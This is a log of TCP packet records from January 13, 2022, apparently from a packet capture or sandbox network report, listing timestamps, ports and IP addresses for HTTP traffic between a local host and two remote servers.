Jan 13, 2022 20:51:34.117788076 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.117800951 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.117842913 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.117846012 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.117902994 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.117925882 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.117989063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.117990971 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118046045 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118058920 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118100882 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118102074 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118161917 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118165970 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118213892 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118227959 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118268967 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118271112 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118321896 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118335009 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118381023 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118381023 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118434906 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118437052 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118494987 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118506908 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118550062 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118551016 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118603945 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118658066 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118669033 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118695974 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118731022 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118732929 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118793011 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118796110 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118846893 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118856907 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118912935 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118917942 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.118972063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.118984938 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119024992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119031906 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119092941 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119097948 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119147062 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119154930 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119215965 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119220972 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119266987 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119278908 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119323969 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119326115 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119389057 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119395018 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119441032 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119453907 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119498968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119524002 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119551897 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119558096 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119606972 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119606972 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119668007 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119699001 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119720936 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119751930 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119774103 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119781971 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119827032 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119829893 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119888067 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119903088 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.119956017 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.119959116 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120026112 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120049953 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120085001 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120094061 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120151997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120155096 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120218992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120223045 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120263100 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120309114 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120328903 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120331049 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120395899 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120409012 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120454073 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120462894 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120520115 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120572090 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120573997 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120635986 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120636940 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120644093 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120690107 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120691061 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120743990 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120743990 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120795965 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120795965 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120846987 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120847940 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120899916 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.120902061 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120959997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.120960951 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121015072 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121017933 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121068001 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121071100 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121119022 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121119976 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121196985 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121206045 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121249914 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121251106 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121303082 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121304035 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121355057 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121357918 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121407986 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121408939 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121464014 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121464014 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121517897 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121519089 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121568918 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121572971 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121628046 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121630907 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121674061 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121692896 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121730089 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121730089 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121784925 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121786118 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121848106 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121880054 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121942997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.121983051 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.121998072 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122016907 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122051001 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122056007 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122103930 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122123003 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122158051 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122159958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122209072 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122215986 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122266054 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122266054 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122319937 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122319937 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122375965 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122379065 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122431040 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122437954 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122489929 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122504950 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122543097 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122550011 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122605085 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122606993 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122654915 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122656107 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122708082 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122714043 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122760057 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122767925 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122811079 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122817039 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122863054 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122864962 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122920990 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122924089 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.122975111 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.122977972 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123035908 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123039007 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123085976 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123100042 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123138905 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123141050 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123192072 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123193979 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123250008 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123251915 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123301983 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123303890 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123363018 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123408079 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123414040 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123454094 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123481035 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123483896 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123532057 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123574018 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123585939 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123588085 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123637915 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123672962 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123692989 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123692989 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123745918 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123755932 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123799086 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123807907 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123858929 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.123858929 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.123924971 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.137557983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.137613058 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.137646914 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.137681961 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.137717962 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.137778997 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.137788057 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.138195992 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.138278008 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.153667927 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.153745890 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.153795958 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.153809071 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.153866053 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.153872967 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.153876066 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.153949976 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.153965950 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154030085 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154042006 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154093027 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154099941 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154169083 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154176950 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154232979 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154241085 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154300928 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154324055 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154398918 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154402971 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154469013 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154476881 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154527903 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154531002 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154587984 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154597998 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154649973 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154659986 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154725075 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154737949 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154787064 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154795885 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154844046 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154856920 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154911995 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154922962 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.154993057 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.154995918 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155036926 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155081987 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155100107 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155136108 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155150890 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155189037 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155199051 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155251026 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155256987 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155313015 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155328035 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155378103 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155380011 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155436039 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155443907 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155493021 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155505896 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155545950 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155548096 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155596972 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155599117 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155654907 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155657053 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155706882 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155709982 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155761003 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155762911 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155816078 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155816078 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155872107 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155878067 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155921936 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155922890 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.155980110 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.155993938 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156032085 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156033993 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156084061 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156086922 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156141043 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156141043 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156191111 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156212091 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156246901 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156270027 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156296015 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156303883 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156352997 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156354904 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156395912 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156411886 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156471014 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156471968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156524897 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156532049 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156579018 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156579018 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156629086 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156629086 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156681061 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156682968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156738043 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156747103 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156786919 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156789064 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156841040 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156841993 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156889915 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156893015 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156939030 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156941891 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.156992912 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.156996012 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157044888 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157047033 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157098055 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157098055 CET	80	49847	141.8.194.74	192.168.2.5
